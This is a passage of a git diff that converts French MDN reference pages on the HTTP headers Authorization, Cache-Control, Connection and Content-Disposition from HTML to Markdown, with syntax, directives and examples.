[base64](/fr/docs/Web/API/WindowBase64/Décoder_encoder_en_base64) (`YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==`). + + > **Note :** L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique". + +## Exemples + + Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l + +Voir aussi l'article [authentification HTTP](/fr/docs/Web/HTTP/Authentication) avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique. + +## Spécifications + +| Spécification | Titre | +| ---------------------------------------------------- | -------------------------------------- | +| {{RFC("7235", "Authorization", "4.2")}} | HTTP/1.1 : Authentification | +| {{RFC("7617")}} | Schéma d'Authentification HTTP 'Basic' | -<h2 id="Voir">Voir</h2> +## Voir -<ul> - <li><a href="/fr/docs/Web/HTTP/Authentication">L'authentification HTTP</a></li> - <li>{{HTTPHeader("WWW-Authenticate")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> -</ul> +- [L'authentification HTTP](/fr/docs/Web/HTTP/Authentication) +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/fr/web/http/headers/cache-control/index.md b/files/fr/web/http/headers/cache-control/index.md index de82079b83..067322921a 100644 --- a/files/fr/web/http/headers/cache-control/index.md +++ b/files/fr/web/http/headers/cache-control/index.md @@ -9,209 +9,173 @@ tags: - Reference translation_of: Web/HTTP/Headers/Cache-Control --- -<p>{{HTTPSidebar}}</p> +{{HTTPSidebar}} -<p>L'en-tête HTTP <strong><code>Cache-Control</code></strong> contient des directives (ou instructions) pour la <a href="/fr/docs/Web/HTTP/Cache">mise en cache</a> tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse.</p> +L'en-tête HTTP **`Cache-Control`** contient des directives (ou instructions) pour la [mise en cache](/fr/docs/Web/HTTP/Cache) tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("General header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - <tr> - <th scope="row">{{Glossary("CORS-safelisted response header")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("CORS-safelisted response header")}} + </th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Pour être valables, les directives de mise en cache doivent respecter les règles suivante :</p> +Pour être valables, les directives de mise en cache doivent respecter les règles suivante : -<ul> - <li>Il est recommandé de ne pas faire de distinction entre les majuscules et les minuscules..</li> - <li>Les directives multiples sont séparées par des virgules.</li> - <li>Certaines directives ont un argument optionnel, qui peut être soit un <em>jeton</em>, soit une chaîne de caractères entre guillemets. (Voir les spécifications pour les définitions)</li> -</ul> +- Il est recommandé de ne pas faire de distinction entre les majuscules et les minuscules.. +- Les directives multiples sont séparées par des virgules. +- Certaines directives ont un argument optionnel, qui peut être soit un _jeton_, soit une chaîne de caractères entre guillemets. (Voir les spécifications pour les définitions) -<h3 id="Règles_de_cache_des_requêtes">Règles de cache des requêtes</h3> +### Règles de cache des requêtes -<p>Les règles standard <code>Cache-Control</code> suivantes peuvent être utilisées par un client HTTP dans une requête :</p> +Les règles standard `Cache-Control` suivantes peuvent être utilisées par un client HTTP dans une requête : -<pre class="syntaxbox">Cache-Control: max-age=<seconds> -Cache-Control: max-stale[=<seconds>] -Cache-Control: min-fresh=<seconds> -Cache-Control: no-cache -Cache-Control: no-store -Cache-Control: no-transform -Cache-Control: only-if-cached -</pre> + Cache-Control: max-age=<seconds> + Cache-Control: max-stale[=<seconds>] + Cache-Control: min-fresh=<seconds> + Cache-Control: no-cache + Cache-Control: no-store + Cache-Control: no-transform + Cache-Control: only-if-cached + +### Règles de cache des réponses + +Les règles standard `Cache-Control` suivantes peuvent être utilisées par un serveur HTTP dans une réponse : + + Cache-Control: must-revalidate + Cache-Control: no-cache + Cache-Control: no-store + Cache-Control: no-transform + Cache-Control: public + Cache-Control: private + Cache-Control: proxy-revalidate + Cache-Control: max-age=<seconds> + Cache-Control: s-maxage=<seconds> + +### Extensions de `Cache-Control` + +Les directives Extension `Cache-Control` ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la [table de compatibilité](#Browser_compatibility) ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer. + + Cache-Control: immutable + Cache-Control: stale-while-revalidate=<seconds> + Cache-Control: stale-if-error=<seconds> + +## Directives + +### Possibilité de mise en cache + +Une réponse est normalement mise en cache par le navigateur si + +- il a un code de statut de [`301`](/fr/docs/Web/HTTP/Status/301), [`302`](/fr/docs/Web/HTTP/Status/302), [`307`](/fr/docs/Web/HTTP/Status/307), [`308`](/fr/docs/Web/HTTP/Status/308), or [`410`](/fr/docs/Web/HTTP/Status/410) **et** +- `Cache-Control` n'a pas de `no-store`, ou _s'il s'agit d'un mandataire_, il n'a pas d'adresse `privée` **et** +- [`Authorization`](/fr/docs/Web/HTTP/Headers/Authorization) n'est pas fixée +- soit + + - a un code de statut de [`301`](/fr/docs/Web/HTTP/Status/301), [`302`](/fr/docs/Web/HTTP/Status/302), [`307`](/fr/docs/Web/HTTP/Status/307), [`308`](/fr/docs/Web/HTTP/Status/308), ou [`410`](/fr/docs/Web/HTTP/Status/410) **ou** + - a un `public`, `max-age` ou `s-maxage` dans `Cache-Control` **ou** + - a [`Expires`](/fr/docs/Web/HTTP/Headers/Expires) fixé + +<!----> + +- `public` + - : Indique que la réponse peut être mise en cache par n'importe quel cache. +- `private` + - : Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé. +- `no-cache` + - : Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande. +- `no-store` + - : La réponse **ne** peut être stockée dans _aucune_ mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. `max-age=0` **est déjà implicite**. **La définition de la directive** `must-revalidate` **n'a pas de sens** car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche `no-store`.**Ne pas copier-coller les spécifications Internet-Explorer** `pre-check=0,post-check=0` Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le [tweet du développeur Edge](https://twitter.com/ericlaw/status/685201170260819968). + +### Expiration + +- `max-age=<secondes>` + - : Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à `expires`, la durée indiquée dans cette directive commence à la date de la requête. +- `s-maxage=<secondes>` + - : Indique une valeur pour écraser les valeurs définies par `max-age` ou `Expires` pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs). +- `max-stale[=<secondes>]` + - : Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même. +- `min-fresh=<secondes>` + - : Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée). +- `stale-while-revalidate=<secondes>` {{experimental_inline}} + - : Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données. +- `stale-if-error=<secondes>` {{experimental_inline}} + - : Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête. -<h3 id="Règles_de_cache_des_réponses">Règles de cache des réponses</h3> +### Revalidation et rechargement -<p>Les règles standard <code>Cache-Control</code> suivantes peuvent être utilisées par un serveur HTTP dans une réponse :</p> +- `must-revalidate` + - : Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données). +- `proxy-revalidate` + - : Comme pour `must-revalidate`, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux. +- `immutable` + - : Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à [un blog en anglais](http://bitsup.blogspot.de/2016/05/cache-control-immutable.html). -<pre class="syntaxbox">Cache-Control: must-revalidate -Cache-Control: no-cache +### Autres + +- `no-transform` + - : Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête `Content-Encoding`, `Content-Range` et `Content-Type` ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent. +- `only-if-cached` + - : Réglé par le _client_ pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état [`504`](/fr/docs/Web/HTTP/Status/504). Les en-têtes conditionnels tels que `If-None-Match` ne doivent pas être définis. Il n'y a aucun effet si `only-if-cached` est défini par un serveur dans le cadre d'une réponse. + +## Exemples + +### Prévention de la mise en cache + +Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes `Expires` et `Pragma`. + +```plain example-good Cache-Control: no-store -Cache-Control: no-transform -Cache-Control: public -Cache-Control: private -Cache-Control: proxy-revalidate -Cache-Control: max-age=<seconds> -Cache-Control: s-maxage=<seconds> -</pre> - -<h3 id="Extensions_de_Cache-Control">Extensions de <code>Cache-Control</code></h3> - -<p>Les directives Extension <code>Cache-Control</code> ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la <a href="#Browser_compatibility">table de compatibilité</a> ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer.</p> - -<pre class="syntaxbox">Cache-Control: immutable -Cache-Control: stale-while-revalidate=<seconds> -Cache-Control: stale-if-error=<seconds> -</pre> - -<h2 id="Directives">Directives</h2> - -<h3 id="Possibilité_de_mise_en_cache">Possibilité de mise en cache</h3> - -<p>Une réponse est normalement mise en cache par le navigateur si</p> - -<ul> - <li>il a un code de statut de <code><a href="/fr/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="/fr/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="/fr/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="/fr/docs/Web/HTTP/Status/308">308</a></code>, or <code><a href="/fr/docs/Web/HTTP/Status/410">410</a></code> <strong>et</strong></li> - <li><code>Cache-Control</code> n'a pas de <code>no-store</code>, ou <em>s'il s'agit d'un mandataire</em>, il n'a pas d'adresse <code>privée</code> <strong>et</strong></li> - <li><code><a href="/fr/docs/Web/HTTP/Headers/Authorization">Authorization</a></code> n'est pas fixée</li> - <li>soit - <ul> - <li>a un code de statut de <code><a href="/fr/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="/fr/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="/fr/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="/fr/docs/Web/HTTP/Status/308">308</a></code>, ou <code><a href="/fr/docs/Web/HTTP/Status/410">410</a></code> <strong>ou</strong></li> - <li>a un <code>public</code>, <code>max-age</code> ou <code>s-maxage</code> dans <code>Cache-Control</code> <strong>ou</strong></li> - <li>a <code><a href="/fr/docs/Web/HTTP/Headers/Expires">Expires</a></code> fixé</li> - </ul> - </li> -</ul> - -<dl> - <dt><code>public</code></dt> - <dd>Indique que la réponse peut être mise en cache par n'importe quel cache.</dd> - <dt><code>private</code></dt> - <dd>Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé.</dd> - <dt><code>no-cache</code></dt> - <dd>Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande.</dd> - <dt><code>no-store</code></dt> - <dd><p>La réponse <strong>ne</strong> peut être stockée dans<em> aucune</em> mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. <code>max-age=0</code> <strong>est déjà implicite</strong>. <strong>La définition de la directive</strong> <code>must-revalidate</code> <strong>n'a pas de sens</strong> car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche <code>no-store</code>.<strong>Ne pas copier-coller les spécifications Internet-Explorer</strong> <code>pre-check=0,post-check=0</code> Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le <a href="https://twitter.com/ericlaw/status/685201170260819968">tweet du développeur Edge</a>.</p></dd> -</dl> - -<h3 id="Expiration">Expiration</h3> - -<dl> - <dt><code>max-age=<secondes></code></dt> - <dd>Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à <code>expires</code>, la durée indiquée dans cette directive commence à la date de la requête.</dd> - <dt><code>s-maxage=<secondes></code></dt> - <dd>Indique une valeur pour écraser les valeurs définies par <code>max-age</code> ou <code>Expires</code> pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs).</dd> - <dt><code>max-stale[=<secondes>]</code></dt> - <dd>Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même.</dd> - <dt><code>min-fresh=<secondes></code></dt> - <dd>Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée).</dd> - <dt><code>stale-while-revalidate=<secondes></code> {{experimental_inline}}</dt> - <dd>Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données.</dd> - <dt><code>stale-if-error=<secondes></code> {{experimental_inline}}</dt> - <dd>Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête.</dd> -</dl> - -<h3 id="Revalidation_et_rechargement">Revalidation et rechargement</h3> - -<dl> - <dt><code>must-revalidate</code></dt> - <dd>Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données).</dd> - <dt><code>proxy-revalidate</code></dt> - <dd>Comme pour <code>must-revalidate</code>, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux.</dd> - <dt><code>immutable</code></dt> - <dd>Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">un blog en anglais</a>.</dd> -</dl> - -<h3 id="Autres">Autres</h3> - -<dl> - <dt><code>no-transform</code></dt> - <dd>Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête <code>Content-Encoding</code>, <code>Content-Range</code> et <code>Content-Type</code> ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.</dd> - <dt><code>only-if-cached</code></dt> - <dd>Réglé par le <em>client </em>pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état <code><a href="/fr/docs/Web/HTTP/Status/504">504</a></code>. Les en-têtes conditionnels tels que <code>If-None-Match</code> ne doivent pas être définis. Il n'y a aucun effet si <code>only-if-cached</code> est défini par un serveur dans le cadre d'une réponse.</dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<h3 id="Prévention_de_la_mise_en_cache">Prévention de la mise en cache</h3> - -<p>Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes <code>Expires</code> et <code>Pragma</code>.</p> - -<pre class="example-good">Cache-Control: no-store -</pre> - -<pre class="example-bad">Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 -</pre> - -<h3 id="Mise_en_cache_dactifs_statiques">Mise en cache d'actifs statiques</h3> - -<p>Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête <code>Expires</code>.</p> - -<pre>Cache-Control: public, max-age=604800, immutable -</pre> - -<h3 id="Nécessitant_une_revalidation">Nécessitant une revalidation</h3> - -<p>Le fait de spécifier no-cache ou <code>max-age=0</code> indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide.</p> - -<pre>Cache-Control: no-cache -Cache-Control: no-cache, max-age=0 -Cache-Control: no-cache, max-age=0, stale-while-revalidate=300 -</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC(8246, "HTTP Immutable Responses")}}</td> - <td>IETF RFC</td> - <td></td> - </tr> - <tr> - <td>{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}</td> - <td>IETF RFC</td> - <td></td> - </tr> - <tr> - <td>{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}</td> - <td>IETF RFC</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> +``` + +```plain example-bad +Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 +``` + +### Mise en cache d'actifs statiques + +Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête `Expires`. + + Cache-Control: public, max-age=604800, immutable + +### Nécessitant une revalidation + +Le fait de spécifier no-cache ou `max-age=0` indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide. + + Cache-Control: no-cache + Cache-Control: no-cache, max-age=0 + Cache-Control: no-cache, max-age=0, stale-while-revalidate=300 + +## Spécifications + +| Specification | Status | Comment | +| ------------------------------------------------------------------------------------ | -------- | ------------------ | +| {{RFC(8246, "HTTP Immutable Responses")}} | IETF RFC | | +| {{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}} | IETF RFC | | +| {{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}} | IETF RFC | Initial definition | -<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2> +## Compatibilité avec les navigateurs -<p>{{Compat("http.headers.Cache-Control")}}</p> +{{Compat("http.headers.Cache-Control")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> - <li><a href="https://www.mnot.net/cache_docs/">Caching Tutorial for Web Authors and Webmasters</a></li> - <li>Guide: <em><a href="https://csswizardry.com/2019/03/cache-control-for-civilians"><code>Cache-Control</code> for civilians</a></em></li> - <li>{{HTTPHeader("Age")}}</li> - <li>{{HTTPHeader("Expires")}}</li> - <li>{{HTTPHeader("Pragma")}}</li> -</ul> +- [HTTP Caching FAQ](/fr/docs/Web/HTTP/Caching_FAQ) +- [Caching Tutorial for Web Authors and Webmasters](https://www.mnot.net/cache_docs/) +- Guide: _[`Cache-Control` for civilians](https://csswizardry.com/2019/03/cache-control-for-civilians)_ +- {{HTTPHeader("Age")}} +- {{HTTPHeader("Expires")}} +- {{HTTPHeader("Pragma")}} diff --git a/files/fr/web/http/headers/connection/index.md b/files/fr/web/http/headers/connection/index.md index 3ea2071137..399f43f1ce 100644 --- a/files/fr/web/http/headers/connection/index.md +++ b/files/fr/web/http/headers/connection/index.md @@ -8,44 +8,43 @@ tags: - en-tête translation_of: Web/HTTP/Headers/Connection --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête général <strong><code>Connection</code></strong> contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est <code>keep-alive</code>, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées.</p> +L'en-tête général **`Connection`** contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est `keep-alive`, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées. -<div class="note"> - <p><strong>Note :</strong><a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">Les champs d'en-tête spécifiques à la connexion (tels que <code>Connection</code>) ne doivent pas être utilisés avec HTTP/2.</a></p> -</div> +> **Note :**[Les champs d'en-tête spécifiques à la connexion (tels que `Connection`) ne doivent pas être utilisés avec HTTP/2.](https://tools.ietf.org/html/rfc7540#section-8.1.2.2) -<p>Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the <code>Connection</code> header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory).</p> +Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the `Connection` header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td><a href="/fr/docs/Glossaire/General_header">En-tête général</a></td> - </tr> - <tr> - <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td><a href="/fr/docs/Glossaire/General_header">En-tête général</a></td> + </tr> + <tr> + <th scope="row"> + <a href="/fr/docs/Glossaire/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Connection: keep-alive -Connection: close -</pre> + Connection: keep-alive + Connection: close -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code>close</code></dt> - <dd>Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0.</dd> - <dt>Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur <code>keep-alive</code> seule)</dt> - <dd>Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination).</dd> -</dl> +- `close` + - : Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0. +- Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur `keep-alive` seule) + - : Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination). -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Connection")}}</p> +{{Compat("http.headers.Connection")}} diff --git a/files/fr/web/http/headers/content-disposition/index.md b/files/fr/web/http/headers/content-disposition/index.md index 1dffadd807..2844fbef41 100644 --- a/files/fr/web/http/headers/content-disposition/index.md +++ b/files/fr/web/http/headers/content-disposition/index.md @@ -7,139 +7,123 @@ tags: - header translation_of: Web/HTTP/Headers/Content-Disposition --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Dans une réponse HTTP régulière, l'en-tête de réponse <code>Content-Disposition</code> est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement.</p> +Dans une réponse HTTP régulière, l'en-tête de réponse `Content-Disposition` est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement. -<p>Dans un corps <code>multipart / form-data</code>, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite <code>boundary</code> définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, <code>Content-Disposition </code>n'a aucun effet.</p> +Dans un corps `multipart / form-data`, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite `boundary` définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, `Content-Disposition `n'a aucun effet. -<p>L'en-tête <code>Content-Disposition</code> est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP.</p> +L'en-tête `Content-Disposition` est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP. <table class="properties"> - <tbody> - <tr> - <th scope="row"> - <table> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}} (pour le corps principal)<br> - {{Glossary("General header")}} (pour une sous-partie d'un corps à plusieurs parties)</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <th scope="row">Non</th> - </tr> - </tbody> - </table> - </th> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row"> + <table> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td> + {{Glossary("Response header")}} (pour le corps + principal)<br />{{Glossary("General header")}} (pour + une sous-partie d'un corps à plusieurs parties) + </td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Forbidden header name")}} + </th> + <th scope="row">Non</th> + </tr> + </tbody> + </table> + </th> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<h3 id="En_tant_quentête_de_réponse_pour_le_corps_principal">En tant qu'entête de réponse pour le corps principal </h3> +### En tant qu'entête de réponse pour le corps principal -<p>Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de<br> - fichier si présent.</p> +Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" 